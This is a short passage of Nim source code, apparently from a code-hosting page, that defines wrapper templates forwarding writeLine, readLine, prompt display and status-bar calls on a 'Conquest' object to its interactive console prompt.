||||
|
||||
return cq
|
||||
|
||||
template writeLine*(cq: Conquest, args: varargs[untyped]) =
|
||||
cq.prompt.writeLine(args)
|
||||
proc readLine*(cq: Conquest): string =
|
||||
return cq.prompt.readLine()
|
||||
template setIndicator*(cq: Conquest, indicator: string) =
|
||||
cq.prompt.setIndicator(indicator)
|
||||
template showPrompt*(cq: Conquest) =
|
||||
cq.prompt.showPrompt()
|
||||
template hidePrompt*(cq: Conquest) =
|
||||
cq.prompt.hidePrompt()
|
||||
template setStatusBar*(cq: Conquest, statusBar: seq[StatusBarItem]) =
|
||||
cq.prompt.setStatusBar(statusBar)
|
||||
template clear*(cq: Conquest) =
|
||||
cq.prompt.clear()
|
||||
|
||||
# Overwrite withOutput function to handle function arguments
|
||||
proc withOutput*(cq: Conquest, outputFunction: proc(cq: Conquest, args: string), args: string) =
|
||||
cq.hidePrompt()
|
||||
outputFunction(cq, args)
|
||||
cq.showPrompt()
|
||||
Reference in New Issue
Block a user